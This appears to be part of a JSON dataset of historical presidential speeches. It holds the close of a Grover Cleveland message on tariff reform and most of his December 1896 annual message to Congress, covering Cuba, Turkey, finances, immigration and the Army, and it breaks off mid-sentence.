duty imposed upon us by our oft-repeated professions and\nby the emphatic mandate of the people. After full discussion our countrymen\nhave spoken in favor of this reform, and they have confided the work of its\naccomplishment to the hands of those who are solemnly pledged to it.If there is anything in the theory of a representation in public places of the\npeople and their desires, if public officers are really the servants of the\npeople, and if political promises and professions have any binding force, our\nfailure to give the relief so long awaited will be sheer recreancy. Nothing\nshould intervene to distract our attention or disturb our effort until this\nreform is accomplished by wise and careful legislation.While we should stanchly adhere to the principle that only the necessity of\nrevenue justifies the imposition of tariff duties and other Federal taxation\nand that they should be limited by strict economy, we can not close our eyes\nto the fact that conditions have grown up among us which in justice and\nfairness call for discriminating care in the distribution of such duties and\ntaxation as the emergencies of our Government actually demand.Manifestly if we are to aid the people directly through tariff reform, one of\nits most obvious features should be a reduction in present tariff charges upon\nthe necessaries of life. The benefits of such a reduction would be palpable\nand substantial, seen and felt by thousands who would be better fed and better\nclothed and better sheltered. These gifts should be the willing benefactions\nof a Government whose highest function is the promotion of the welfare of the\npeople.Not less closely related to our people's prosperity and well-being is the\nremoval of restrictions upon the importation of the raw materials necessary to\nour manufactures. The world should be open to our national ingenuity and\nenterprise. This can not be while Federal legislation through the imposition\nof high tariff forbids to American manufacturers as cheap materials as those\nused by their competitors. It is quite obvious that the .enhancement of the\nprice of our manufactured products resulting from this policy not only\nconfines the market for these products within our own borders, to the direct\ndisadvantage of our manufacturers, but also increases their cost to our\ncitizens.The interests of labor are certainly, though indirectly, involved in this\nfeature of our tariff system. The sharp competition and active struggle among\nour manufacturers to supply the limited demand for their goods soon fill the\nnarrow market to which they are confined. Then follows a suspension of work in\nmills and factories, a discharge of employees, and distress in the homes of\nour workingmen.Even if the often-disproved assertion could be made good that a lower rate of\nwages would result from free raw materials and low tariff duties, the\nintelligence of our workmen leads them quickly to discover that their steady\nemployment, permitted by free raw materials, is the most important factor in\ntheir relation to tariff legislation.A measure has been prepared by the appropriate Congressional committee\nembodying tariff reform on the lines herein suggested, which will be promptly\nsubmitted for legislative action. It is the result of much patriotic and\nunselfish work, and I believe it deals with its subject consistently and as\nthoroughly as existing conditions permit.I am satisfied that the reduced tariff duties provided for in the proposed\nlegislation, added to existing internal-revenue taxation, will in the near\nfuture, though perhaps not immediately, produce sufficient revenue to meet the\nneeds of the Government.The committee, after full consideration and to provide against a temporary\ndeficiency which may exist before the business of the country adjusts itself\nto the new tariff schedules, have wisely embraced in their plan a few\nadditional internal-revenue taxes, including a small tax upon incomes derived\nfrom certain corporate investments.These new adjustments are not only absolutely just and easily borne, but they\nhave the further merit of being such as can be remitted without unfavorable\nbusiness disturbance whenever the necessity of their imposition no longer\nexists.In my great desire for the success of this measure I can not restrain the\nsuggestion that its success can only be attained by means of unselfish counsel\non the part of the friends of tariff reform and as a result of their\nwillingness to subordinate personal desires and ambitions to the general good.\nThe local interests affected by the proposed reform are so numerous and so\nvaried that if all are insisted upon the legislation embodying the reform must\ninevitably fail.In conclusion my intense feeling of responsibility impels me to invoke for the\nmanifold interests of a generous and confiding people the most scrupulous care\nand to pledge my willing support to every legislative effort for the\nadvancement of the greatness and prosperity of our beloved country.GROVER CLEVELAND", 
+    "name": "Grover Cleveland"
+}
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+{
+    "date": "December 4, 1896", 
+    "speech": "To the Congress of the United States:As representatives of the people in the legislative branch of their\nGovernment, you have assembled at a time when the strength and excellence of\nour free institutions and the fitness of our citizens to enjoy popular rule\nhave been again made manifest. A political contest involving momentous\nconsequences, fraught with feverish apprehension, and creating aggressiveness\nso intense as to approach bitterness and passion has been waged throughout our\nland and determined by the decree of free and independent suffrage without\ndisturbance of our tranquillity or the least sign of weakness in our national\nstructure.When we consider these incidents and contemplate the peaceful obedience and\nmanly submission which have succeeded a heated clash of political opinions, we\ndiscover abundant evidence of a determination on the part of our countrymen to\nabide by every verdict of the popular will and to be controlled at all times\nby an abiding faith in the agencies established for the direction of the\naffairs of their Government.Thus our people exhibit a patriotic disposition which entitles them to demand\nof those who undertake to make and execute their laws such faithful and\nunselfish service in their behalf as can only be prompted by a serious\nappreciation of the trust and confidence which the acceptance of public duty\ninvites.In obedience to a constitutional requirement I herein submit to the Congress\ncertain information concerning national affairs, with the suggestion of such\nlegislation as in my judgment is necessary and expedient. To secure brevity\nand avoid tiresome narration I shall omit many details concerning matters\nwithin Federal control which, though by no means unimportant, are more\nprofitably discussed in departmental reports. I shall also further curtail\nthis communication by omitting a minute recital of many minor incidents\nconnected with our foreign relations which have heretofore found a place in\nExecutive messages, but are now contained in a report of the Secretary of\nState, which is herewith submitted.At the outset of a reference to the more important matters affecting our\nrelations with foreign powers it would afford me satisfaction if I could\nassure the Congress that the disturbed condition in Asiatic Turkey had during\nthe past year assumed a less hideous and bloody aspect and that, either as a\nconsequence of the awakening of the Turkish Government to the demands of\nhumane civilization or as the result of decisive action on the part of the\ngreat nations having the right by treaty to interfere for the protection of\nthose exposed to the rage of mad bigotry and cruel fanaticism, the shocking\nfeatures of the situation had been mitigated. Instead, however, of welcoming a\nsoftened disposition or protective intervention, we have been afflicted by\ncontinued and not unfrequent reports of the wanton destruction of homes and\nthe bloody butchery of men, women, and children, made martyrs to their\nprofession of Christian faith.While none of our citizens in Turkey have thus far been killed or wounded,\nthough often in the midst of dreadful scenes of danger, their safety in the\nfuture is by no means assured. Our Government at home and our minister at\nConstantinople have left nothing undone to protect our missionaries in Ottoman\nterritory, who constitute nearly all the individuals residing there who have a\nright to claim our protection on the score of American citizenship. Our\nefforts in this direction will not be relaxed; but the deep feeling and\nsympathy that have been aroused among our people ought not to so far blind\ntheir reason and judgment as to lead them to demand impossible things. The\noutbreaks of the blind fury which lead to murder and pillage in Turkey occur\nsuddenly and without notice, and an attempt on our part to force such a\nhostile presence there as might be effective for prevention or protection\nwould not only be resisted by the Ottoman Government, but would be regarded as\nan interruption of their plans by the great nations who assert their exclusive\nright to intervene in their own time and method for the security of life and\nproperty in Turkey.Several naval vessels are stationed in the Mediterranean as a measure of\ncaution and to furnish all possible relief and refuge in case of emergency.We have made claims against the Turkish Government for the pillage and\ndestruction of missionary property at Harpoot and Marash during uprisings at\nthose places. Thus far the validity of these demands has not been admitted,\nthough our minister, prior to such outrages and in anticipation of danger,\ndemanded protection for the persons and property of our missionary citizens in\nthe localities mentioned and notwithstanding that strong evidence exists of\nactual complicity of Turkish soldiers in the work of destruction and robbery.The facts as they now appear do not permit us to doubt the justice of these\nclaims, and nothing will be omitted to bring about their prompt settlement.A number of Armenian refugees having arrived at our ports, an order has lately\nbeen obtained from the Turkish Government permitting the wives and children of\nsuch refugees to join them here. It is hoped that hereafter no obstacle will\nbe interposed to prevent the escape of all those who seek to avoid the perils\nwhich threaten them in Turkish dominions.Our recently appointed consul to Erzerum is at his post and discharging the\nduties of his office, though for some unaccountable reason his formal\nexequatur from the Sultan has not been issued.I do not believe that the present somber prospect in Turkey will be long\npermitted to offend the sight of Christendom. It so mars the humane and\nenlightened civilization that belongs to the close of the nineteenth century\nthat it seems hardly possible that the earnest demand of good people\nthroughout the Christian world for its corrective treatment will remain\nunanswered.The insurrection in Cuba still continues with all its perplexities. It is\ndifficult to perceive that any progress has thus far been made toward the\npacification of the island or that the situation of affairs as depicted in my\nlast annual message has in the least improved. If Spain still holds Havana and\nthe seaports and all the considerable towns, the insurgents still roam at will\nover at least two-thirds of the inland country. If the determination of Spain\nto put down the insurrection seems but to strengthen with the lapse of time\nand is evinced by her unhesitating devotion of largely increased military and\nnaval forces to the task, there is much reason to believe that the insurgents\nhave gained in point of numbers and character and resources and are none the\nless inflexible in their resolve not to succumb without practically securing\nthe great objects for which they took up arms. If Spain has not yet\nreestablished her authority, neither have the insurgents yet made good their\ntitle to be regarded as an independent state. Indeed, as the contest has gone\non the pretense that civil government exists on the island, except so far as\nSpain is able to maintain it, has been practically abandoned. Spain does keep\non foot such a government, more or less imperfectly, in the large towns and\ntheir immediate suburbs; but that exception being made, the entire country is\neither given over to anarchy or is subject to the military occupation of one\nor the other party. It is reported, indeed, on reliable authority that at the\ndemand of the commander in chief of the insurgent army the putative Cuban\ngovernment has now given up all attempt to exercise its functions, leaving\nthat government confessedly (what there is the best reason for supposing it\nalways to have been in fact) a government merely on paper.Were the Spanish armies able to meet their antagonists in the open or in\npitched battle, prompt and decisive results might be looked for, and the\nimmense superiority of the Spanish forces in numbers, discipline, and\nequipment could hardly fail to tell greatly to their advantage. But they are\ncalled upon to face a foe that shuns general engagements, that can choose and\ndoes choose its own ground, that from the nature of the country is visible or\ninvisible at pleasure, and that fights only from ambuscade and when all the\nadvantages of position and numbers are on its side. In a country where all\nthat is indispensable to life in the way of food, clothing, and shelter is so\neasily obtainable, especially by those born and bred on the soil, it is\nobvious that there is hardly a limit to the time during which hostilities of\nthis sort may be prolonged. Meanwhile, as in all cases of protracted civil\nstrife, the passions of the combatants grow more and more inflamed and\nexcesses on both sides become more frequent and more deplorable. They are also\nparticipated in by bands of marauders, who, now in the name of one party and\nnow in the name of the other, as may best suit the occasion, harry the country\nat will and plunder its wretched inhabitants for their own advantage. Such a\ncondition of things would inevitably entail immense destruction of property,\neven if it were the policy of both parties to prevent it as far as\npracticable; but while such seemed to be the original policy of the Spanish\nGovernment, it has now apparently abandoned it and is acting upon the same\ntheory as the insurgents, namely, that the exigencies of the contest require\nthe wholesale annihilation of property that it may not prove of use and\nadvantage to the enemy.It is to the same end that, in pursuance of general orders, Spanish garrisons\nare now being withdrawn from plantations and the rural population required to\nconcentrate itself in the towns. The sure result would seem to be that the\nindustrial value of the island is fast diminishing and that unless there is a\nspeedy and radical change in existing conditions it will soon disappear\naltogether. That value consists very largely, of course, in its capacity to\nproduce sugar--a capacity already much reduced by the interruptions to tillage\nwhich have taken place during the last two years. It is reliably asserted that\nshould these interruptions continue during the current year, and practically\nextend, as is now threatened, to the entire sugar-producing territory of the\nisland, so much time and so much money will be required to restore the land to\nits normal productiveness that it is extremely doubtful if capital can be\ninduced to even make the attempt.The spectacle of the utter ruin of an adjoining country, by nature one of the\nmost fertile and charming on the globe, would engage the serious attention of\nthe Government and people of the United States in any circumstances. In point\nof fact, they have a concern with it which is by no means of a wholly\nsentimental or philanthropic character. It lies so near to us as to be hardly\nseparated from our territory. Our actual pecuniary interest in it is second\nonly to that of the people and Government of Spain. It is reasonably estimated\nthat at least from $30,000,000 to $50,000,000 of American capital are invested\nin plantations and in railroad, mining, and other business enterprises on the\nisland. The volume of trade between the United States and Cuba, which in 1889\namounted to about $64,000,000, rose in 1893 to about $103,000,000, and in\n1894, the year before the present insurrection broke out, amounted to nearly\n$96,000,000. Besides this large pecuniary stake in the fortunes of Cuba, the\nUnited States finds itself inextricably involved in the present contest in\nother ways, both vexatious and costly.Many Cubans reside in this country, and indirectly promote the insurrection\nthrough the press, by public meetings, by the purchase and shipment of arms,\nby the raising of funds, and by other means which the spirit of our\ninstitutions and the tenor of our laws do not permit to be made the subject of\ncriminal prosecutions. Some of them, though Cubans at heart and in all their\nfeelings and interests, have taken out papers as naturalized citizens of the\nUnited States--a proceeding resorted to with a view to possible protection by\nthis Government, and not unnaturally regarded with much indignation by the\ncountry of their origin. The insurgents are undoubtedly encouraged and\nsupported by the widespread sympathy the people of this country always and\ninstinctively feel for every struggle for better and freer government, and\nwhich, in the case of the more adventurous and restless elements of our\npopulation, leads in only too many instances to active and personal\nparticipation in the contest. The result is that this Government is constantly\ncalled upon to protect American citizens, to claim damages for injuries to\npersons and property, now estimated at many millions of dollars, and to ask\nexplanations and apologies for the acts of Spanish officials whose zeal for\nthe repression of rebellion sometimes blinds them to the immunities belonging\nto the unoffending citizens of a friendly power. It follows from the same\ncauses that the United States is compelled to actively police a long line of\nseacoast against unlawful expeditions, the escape of which the utmost\nvigilance will not always suffice to prevent.These inevitable entanglements of the United States with the rebellion in\nCuba, the large American property interests affected, and considerations of\nphilanthropy and humanity in general have led to a vehement demand in various\nquarters for some sort of positive intervention on the part of the United\nStates. It was at first proposed that belligerent rights should be accorded to\nthe insurgents--a proposition no longer urged because untimely and in\npractical operation dearly perilous and injurious to our own interests. It has\nsince been and is now sometimes contended that the independence of the\ninsurgents should be recognized; but imperfect and restricted as the Spanish\ngovernment of the island may be, no other exists there, unless the will of the\nmilitary officer in temporary command of a particular district can be\ndignified as a species of government. It is now also suggested that the United\nStates should buy the island--a suggestion possibly worthy of consideration if\nthere were any evidence of a desire or willingness on the part of Spain to\nentertain such a proposal. It is urged finally that, all other methods\nfailing, the existing internecine strife in Cuba should be terminated by our\nintervention, even at the cost of a war between the United States and Spain--a\nwar which its advocates confidently prophesy could neither be large in its\nproportions nor doubtful in its issue.The correctness of this forecast need be neither affirmed nor denied. The\nUnited States has, nevertheless, a character to maintain as a nation, which\nplainly dictates that right and not might should be the rule of its conduct.\nFurther, though the United States is not a nation to which peace is a\nnecessity, it is in truth the most pacific of powers and desires nothing so\nmuch as to live in amity with all the world. Its own ample and diversified\ndomains satisfy all possible longings for territory, preclude all dreams of\nconquest, and prevent any casting of covetous eyes upon neighboring regions,\nhowever attractive. That our conduct toward Spain and her dominions has\nconstituted no exception to this national disposition is made manifest by the\ncourse of our Government, not only thus far during the present insurrection,\nbut during the ten years that followed the rising at Yara in 1868. No other\ngreat power, it may safely be said, under circumstances of similar perplexity,\nwould have manifested the same restraint and the same patient endurance. It\nmay also be said that this persistent attitude of the United States toward\nSpain in connection with Cuba unquestionably evinces no slight respect and\nregard for Spain on the part of the American people. They in truth do not\nforget her connection with the discovery of the Western Hemisphere, nor do\nthey underestimate the great qualities of the Spanish people nor fail to fully\nrecognize their splendid patriotism and their chivalrous devotion to the\nnational honor.They view with wonder and admiration the cheerful resolution with which vast\nbodies of men are sent across thousands of miles of ocean and an enormous debt\naccumulated that the costly possession of the gem of the Antilles may still\nhold its place in the Spanish crown. And yet neither the Government nor the\npeople of the United States have shut their eyes to the course of events in\nCuba or have failed to realize the existence of conceded grievances which have\nled to the present revolt from the authority of Spain--grievances recognized\nby the Queen Regent and by the Cortes, voiced by the most patriotic and\nenlightened of Spanish statesmen, without regard to party, and demonstrated by\nreforms proposed by the executive and approved by the legislative branch of\nthe Spanish Government. It is in the assumed temper and disposition of the\nSpanish Government to remedy these grievances, fortified by indications of\ninfluential public opinion in Spain, that this Government has hoped to\ndiscover the most promising and effective means of composing the present\nstrife with honor and advantage to Spain and with the achievement of all the\nreasonable objects of the insurrection.It would seem that if Spain should offer to Cuba genuine autonomy--a measure\nof home rule which, while preserving the sovereignty of Spain, would satisfy\nall rational requirements of her Spanish subjects--there should be no just\nreason why the pacification of the island might not be effected on that basis.\nSuch a result would appear to be in the true interest of all concerned. It\nwould at once stop the conflict which is now consuming the resources of the\nisland and making it worthless for whichever party may ultimately prevail. It\nwould keep intact the possessions of Spain without touching her honor, which\nwill be consulted rather than impugned by the adequate redress of admitted\ngrievances. It would put the prosperity of the island and the fortunes of its\ninhabitants within their own control without severing the natural and ancient\nties which bind them to the mother country, and would yet enable them to test\ntheir capacity for self-government under the most favorable conditions. It has\nbeen objected on the one side that Spain should not promise autonomy until her\ninsurgent subjects lay down their arms; on the other side, that promised\nautonomy, however liberal, is insufficient, because without assurance of the\npromise being fulfilled.But the reasonableness of a requirement by Spain of unconditional surrender on\nthe part of the insurgent Cubans before their autonomy is conceded is not\naltogether apparent. It ignores important features of the situation--the\nstability two years' duration has given to the insurrection; the feasibility\nof its indefinite prolongation in the nature of things, and, as shown by past\nexperience, the utter and imminent ruin of the island unless the present\nstrife is speedily composed; above all, the rank abuses which all parties in\nSpain, all branches of her Government, and all her leading public men concede\nto exist and profess a desire to remove. Facing such circumstances, to\nwithhold the proffer of needed reforms until the parties demanding them put\nthemselves at mercy by throwing down their arms has the appearance of\nneglecting the gravest of perils and inviting suspicion as to the sincerity of\nany professed willingness to grant reforms. The objection on behalf of the\ninsurgents that promised reforms can not be relied upon must of course be\nconsidered, though we have no right to assume and no reason for assuming that\nanything Spain undertakes to do for the relief of Cuba will not be done\naccording to both the spirit and the letter of the undertaking.Nevertheless, realizing that suspicions and precautions on the part of the\nweaker of two combatants are always natural and not always unjustifiable,\nbeing sincerely desirous in the interest of both as well as on its own account\nthat the Cuban problem should be solved with the least possible delay, it was\nintimated by this Government to the Government of Spain some months ago that\nif a satisfactory measure of home rule were tendered the Cuban insurgents and\nwould be accepted by them upon a guaranty of its execution the United States\nwould endeavor to find a way not objectionable to Spain of furnishing such\ngraranty. While no definite response to this intimation has yet been received\nfrom the Spanish Government, it is believed to be not altogether unwelcome,\nwhile, as already suggested, no reason is perceived why it should not be\napproved by the insurgents. Neither party can fail to see the importance of\nearly action, and both must realize that to prolong the present state of\nthings for even a short period will add enormously to the time and labor and\nexpenditure necessary to bring about the industrial recuperation of the\nisland. It is therefore fervently hoped on all grounds that earnest efforts\nfor healing the breach between Spain and the insurgent Cubans upon the lines\nabove indicated may be at once inaugurated and pushed to an immediate and\nsuccessful issue. The friendly offices of the United States, either in the\nmanner above outlined or in any other way consistent with our Constitution and\nlaws, will always be at the disposal of either party.Whatever circumstances may arise, our policy and our interests would constrain\nus to object to the acquisition of the island or an interference with its\ncontrol by any other power.It should be added that it can not be reasonably assumed that the hitherto\nexpectant attitude of the United States will be indefinitely maintained. While\nwe are anxious to accord all due respect to the sovereignty of Spain, we can\nnot view the pending conflict in all its features and properly apprehend our\ninevitably close relations to it and its possible results without considering\nthat by the course of events we may be drawn into such an unusual and\nunprecedented condition as will fix a limit to our patient waiting for Spain\nto end the contest, either alone and in her own way or with our friendly\ncooperation.When the inability of Spain to deal successfully with the insurrection has\nbecome manifest and it is demonstrated that her sovereignty is extinct in Cuba\nfor all purposes of its rightful existence, and when a hopeless struggle for\nits reestablishment has degenerated into a strife which means nothing more\nthan the useless sacrifice of human life and the utter destruction of the very\nsubject-matter of the conflict, a situation will be presented in which our\nobligations to the sovereignty of Spain will be superseded by higher\nobligations, which we can hardly hesitate to recognize and discharge.\nDeferring the choice of ways and methods until the time for action arrives, we\nshould make them depend upon the precise conditions then existing; and they\nshould not be determined upon without giving careful heed to every\nconsideration involving our honor and interest or the international duty we\nowe to Spain. Until we face the contingencies suggested or the situation is by\nother incidents imperatively changed we should continue in the line of conduct\nheretofore pursued, thus in all circumstances exhibiting our obedience to the\nrequirements of public law and our regard for the duty enjoined upon us by the\nposition we occupy in the family of nations.A contemplation of emergencies that may arise should plainly lead us to avoid\ntheir creation, either through a careless disregard of present duty or even an\nundue stimulation and ill-timed expression of feeling. But I have deemed it\nnot amiss to remind the Congress that a time may arrive when a correct policy\nand care for our interests, as well as a regard for the interests of other\nnations and their citizens, joined by considerations of humanity and a desire\nto see a rich and fertile country intimately related to us saved from complete\ndevastation, will constrain our Government to such action as will subserve the\ninterests thus involved and at the same time promise to Cuba and its\ninhabitants an opportunity to enjoy the blessings of peace.The Venezuelan boundary question has ceased to be a matter of difference\nbetween Great Britain and the United States, their respective Governments\nhaving agreed upon the substantial provisions of a treaty between Great\nBritain and Venezuela submitting the whole controversy to arbitration. The\nprovisions of the treaty are so eminently just and fair that the assent of\nVenezuela thereto may confidently be anticipated.Negotiations for a treaty of general arbitration for all differences between\nGreat Britain and the United States are far advanced and promise to reach a\nsuccessful consummation at an early date.The scheme of examining applicants for certain consular positions to test\ntheir competency and fitness, adopted under an Executive order issued on the\n20th of September, 1895, has fully demonstrated the usefulness of this\ninnovation. In connection with this plan of examination promotions and\ntransfers of deserving incumbents have been quite extensively made, with\nexcellent results.During the past year 35 appointments have been made in the consular service,\n27 of which were made to fill vacancies caused by death or resignation or to\nsupply newly created posts, 2 to succeed incumbents removed for cause, 2 for\nthe purpose of displacing alien consular officials by American citizens, and 4\nmerely changing the official title of incumbent from commercial agent to\nconsul. Twelve of these appointments were transfers or promotions from other\npositions under the Department of State, 4 of those appointed had rendered\nprevious service under the Department, 8 were made of persons who passed a\nsatisfactory examination, 7 were appointed to places not included in the order\nof September 20, 1895, and 4 appointments, as above stated, involved no change\nof incumbency. The inspection of consular offices provided for by an\nappropriation for that purpose at the last session of the Congress has been\nproductive of such wholesome effects that I hope this important work will in\nthe future be continued. I know of nothing that can be done with the same\nslight expense so improving to the service.I desire to repeat the recommendation contained in my last annual message in\nfavor of providing at public expense official residences for our ambassadors\nand ministers at foreign capitals. The reasons supporting this recommendation\nare strongly stated in the report of the Secretary of State, and the subject\nseems of such importance that I hope it may receive the early attention of the\nCongress.We have during the last year labored faithfully and against unfavorable\nconditions to secure better preservation of seal life in the Bering Sea. Both\nthe United States and Great Britain have lately dispatched commissioners to\nthese waters to study the habits and condition of the seal herd and the causes\nof their rapid decrease. Upon the reports of these commissioners, soon to be\nsubmitted, and with the exercise of patience and good sense on the part of all\ninterested parties, it is earnestly hoped that hearty cooperation may be\nsecured for the protection against threatened extinction of seal life in the\nNorthern Pacific and Bering Sea.The Secretary of the Treasury reports that during the fiscal year ended June\n30, 1896, the receipts of the Government from all sources amounted to\n$409,475,408.78. During the same period its expenditures were $434,678,654.48,\nthe excess of expenditures over receipts thus amounting to $25,203,245.70. The\nordinary expenditures during the year were $4,015,852.21 less than during the\npreceding fiscal year. Of the receipts mentioned there was derived from\ncustoms the sum of $160,021,751.67 and from internal revenue $146,830,615.66.\nThe receipts from customs show an increase of $7,863,134.22 over those from\nthe same source for the fiscal year ended June 30, 1895, and the receipts from\ninternal revenue an increase of $3,584,537.91.The value of our imported dutiable merchandise during the last fiscal year was\n$369,757,470 and the value of free goods imported $409,967,470, being an\nincrease of $6,523,675 in the value of dutiable goods and $41,231,034 in the\nvalue of free goods over the preceding year. Our exports of merchandise,\nforeign and domestic, amounted in value to $882,606,938, being an increase\nover the preceding year of $75,068,773. The average ad valorem duty paid on\ndutiable goods imported during the year was 39.94 per cent and on free and\ndutiable goods taken together 20.55 per cent.The cost of collecting our internal revenue was 2.78 per cent, as against 2.81\nper cent for the fiscal year ending June 30, 1895. The total production of\ndistilled spirits, exclusive of fruit brandies, was 86,588,703 taxable\ngallons, being an increase of 6,639,108 gallons over the preceding year. There\nwas also an increase of 1,443,676 gallons of spirits produced from fruit as\ncompared with the preceding year. The number of barrels of beer produced was\n35,859,250, as against 33,589,784 produced in the preceding fiscal year, being\nall increase of 2,269,466 barrels.The total amount of gold exported during the last fiscal year was $112,409,947\nand of silver $60,541,670, being an increase of $45,941,466 of gold and\n$13,246,384 of silver over the exportations of the preceding fiscal year. The\nimports of gold were $33,525,065 and of silver $28,777,186, being $2,859,695\nless of gold and $8,566,007 more of silver than during the preceding year.The total stock of metallic money in the United States at the close of the\nlast fiscal year, ended on the 30th day of June, 1896, was $1,228,326,035, of\nwhich $599,597,964 was in gold and $628,728,071 in silver.On the 1st day of November, 1896, the total stock of money of all kinds in the\ncountry was $2,285,410,590, and the amount in circulation, not including that\nin the Treasury holdings, was $1,627,055,641, being $22.63 per capita upon an\nestimated population of 71,902,000.The production of the precious metals in the United States during the calendar\nyear 1895 is estimated to have been 2,254,760 fine ounces of gold, of the\nvalue of $46,610,000, and 55,727,000 fine ounces of silver, of the commercial\nvalue of $36,445,000 and the coinage value of $72,051,000. The estimated\nproduction of these metals throughout the world during the same period was\n9,688,821 fine ounces of gold, amounting to $200,285,700 in value, and\n169,189,249 fine ounces of silver, of the commercial value of $110,654,000 and\nof the coinage value of $218,738,100 according to our ratio.The coinage of these metals in the various countries of the world during the\nsame calendar year amounted to $232,701,438 in gold and $121,996,219 in\nsilver.The total coinage at the mints of the United States during the fiscal year\nended June 30, 1896, amounted to $71,188,468.52, of which $58,878,490 was in\ngold coins and $12,309,978.52 in standard silver dollars, subsidiary coins,\nand minor coinsThe number of national banks organized from the time the law authorizing their\ncreation was passed up to October 31, 1896, was 5,051, and of this number\n3,679 were at the date last mentioned in active operation, having authorized\ncapital stock of $650,014,895, held by 288,902 shareholders, and circulating\nnotes amounting to $211,412,620.The total outstanding circulating notes of all national banks on the 31st day\nof October, 1896, amounted to $234,553,807, including unredeemed but fully\nsecured notes of banks insolvent and in process of liquidation. The increase\nin national-bank circulation during the year ending on that day was\n$21,099,429. On October 6, 1896, when the condition of national banks was last\nreported, the total resources of the 3,679 active institutions were\n$3,263,685,313.83, which included $1,893,268,839.31 in loans and discounts and\n$362,165,733.85 in money of all kinds on hand. Of their liabilities\n$1,597,891,058.03 was due to individual depositors and $209,944,019 consisted\nof outstanding circulating notes.There were organized during the year preceding the date last mentioned 28\nnational banks, located in 15 States, of which 12 were organized in the\nEastern States, with a capital of $1,180,000, 6 in the Western States, with a\ncapital of $875,000, and 10 in the Southern States, with a capital of\n$1,190,000. During the year, however, 37 banks voluntarily abandoned their\nfranchises under the national law, and in the case of 27 others it was found\nnecessary to appoint receivers. Therefore, as compared with the year\npreceding, there was a decrease of 36 in the number of active banks.The number of existing banks organized under State laws is 5,708. The number\nof immigrants arriving in the United States during the fiscal year was\n343,267, of whom 340,468 were permitted to land and 2,799 were debarred on\nvarious grounds prescribed by law and returned to the countries whence they\ncame at the expense of the steamship companies by which they were brought in.\nThe increase in immigration over the preceding year amounted to 84,731. It is\nreported that with some exceptions the immigrants of the past year were of a\nhardy laboring class, accustomed and able to earn a support for themselves,\nand it is estimated that the money brought with them amounted to at least\n$5,000,000, though it was probably much in excess of that sum, since only\nthose having less than $30 are required to disclose the exact amount, and it\nis known that many brought considerable sums of money to buy land and build\nhomes. Including all the immigrants arriving who were over 14 years of age,\n28.63 per cent were illiterate, as against 20.37 per cent of those of that age\narriving during the preceding fiscal year. The number of immigrants over 14\nyears old, the countries from which they came, and the percentage of\nilliterates among them were as follows: Italy, 57,515, with 54.59 per cent;\nIreland, 37,496, with 7 per cent; Russia, 35,188, with 41.14 per cent;\nAustria-Hungary and provinces, 57,053, with 38.92 per cent; Germany, 25,334,\nwith 2.96 per cent; Sweden, 18,821, with 1.16 per cent; while from Portugal\nthere came 2,067, of whom 77.69 per cent were illiterate. There arrived from\nJapan during the year only 1,110 immigrants, and it is the opinion of the\nimmigration authorities that the apprehension heretofore existing to some\nextent of a large immigration from Japan to the United States is without any\nsubstantial foundation.From the Life-Saving Service it is reported that the number of disasters to\ndocumented vessels within the limits of its operations during the year was\n437. These vessels had on board 4,608 persons, of whom 4,595 were saved and 13\nlost. The value of such vessels is estimated at $8,880,140 and of their\ncargoes $3,846,380, making the total value of property imperiled $12,726,520.\nOf this amount $11,292,707 was saved and $1,432,750 was lost. Sixty-seven of\nthe vessels were totally wrecked. There were besides 243 casualties to small\nundocumented craft, on board of which there were 594 persons, of whom 587 were\nsaved and 7 were lost. The value of the property involved in these latter\ncasualties is estimated at $119,265, of which $114,915 was saved and $4,350\nwas lost. The life-saving crews during the year also rescued or assisted\nnumerous other vessels and warned many from danger by signals, both by day and\nnight. The number of disasters during the year exceeded that of any previous\nyear in the history of the service, but the saving of both life and property\nwas greater than ever before in proportion to the value of the property\ninvolved and to the number of persons imperiled.The operations of the Marine-Hospital Service, the Revenue-Cutter Service, the\nSteamboat-Inspection Service, the Light-House Service, the Bureau of\nNavigation, and other branches of public work attached to the Treasury\nDepartment, together with various recommendations concerning their support and\nimprovement, are fully stated in the report of the Secretary of the Treasury,\nto which the attention of the Congress is especially invited.The report of the Secretary of War exhibits satisfactory conditions in the\nseveral branches of the public service intrusted to his charge.The limit of our military force as fixed by law is constantly and readily\nmaintained. The present discipline and morale of our Army are excellent, and\nmarked progress and efficiency are apparent throughout its entire\norganization.With the exception of delicate duties in the suppression of slight Indian\ndisturbances along our southwestern boundary, in which the Mexican troops\ncooperated, and the compulsory but peaceful return, with the consent of Great\nBritain, of a band of Cree Indians from Montana to the British possessions, no\nactive operations have been required of the Army during the year past.Changes in methods of administration, the abandonment of unnecessary posts and\nconsequent concentration of troops, and the exercise of care and vigilance by\nthe various officers charged with the responsibility in the expenditure of the\nappropriations have resulted in reducing to a minimum the cost of maintenance\nof our military establishment.During the past year the work of constructing permanent infantry and cavalry\nposts has been continued at the places heretofore designated. The Secretary of\nWar repeats his recommendation that appropriations for barracks and quarters\nshould more strictly conform to the needs of the service as judged by the\nDepartment rather than respond to the wishes and importunities of localities.\nIt is imperative that much of the money provided for such construction should\nnow be allotted to the erection of necessary quarters for the garrisons\nassigned to the coast defenses, where many men will be needed to properly care\nfor and operate modern guns. It is essential, too, that early provision be\nmade to supply the necessary force of artillery to meet the demands of this\nservice.The entire Army has now been equipped with the new magazine arms, and wise\npolicy demands that all available public and private resources should be so\nemployed as to provide within a reasonable time a sufficient number to supply\nthe State militia with these modern weapons and provide an ample reserve for\nany emergency.The organized militia numbers 112,879 men. The appropriations for its support\nby the several States approximate $2,800,000 annually, and $400,000 is\ncontributed by the General Government. Investigation shows these troops to be\nusually well drilled and inspired with much military interest, but in many\ninstances they are so deficient in proper arms and equipment that a sudden\ncall to active duty would find them inadequately prepared for field service. I\ntherefore recommend that prompt measures be taken to remedy this condition and\nthat every encouragement be given to this deserving body of unpaid and\nvoluntary citizen soldiers, upon whose assistance we must largely rely in time\nof trouble.During the past year rapid progress has been made toward the completion of the\nscheme adopted for the erection and armament of fortifications along our\nseacoast, while equal progress has been made in providing the material for\nsubmarine defense in connection with these works.It is peculiarly gratifying at this time to note the great advance that has\nbeen made in this important undertaking since the date of my annual message to\nthe Fifty-third Congress at the opening of its second session, in December,\n1893. At that time I informed the Congress of the approaching completion of\nnine 12-inch, twenty 10-inch, and thirty-four 8-inch high-power steel guns and\nseventy-five 12-inch rifled mortars.This total then seemed insignificant when compared with the great work\nremaining to be done. Yet it was none the less a source of satisfaction to\nevery citizen when he reflected that it represented the first installment of\nthe new ordnance of American design and American manufacture and demonstrated\nour ability to supply from our own resources guns of unexcelled power and\naccuracy.At that date, however, there were practically no carriages upon which to mount\nthese guns and only thirty-one emplacements for guns and sixty-four for\nmortars. Nor were all these emplacements in condition to receive their\narmament. Only one high-power gun was at that time in position for the defense\nof the entire coast.Since that time the 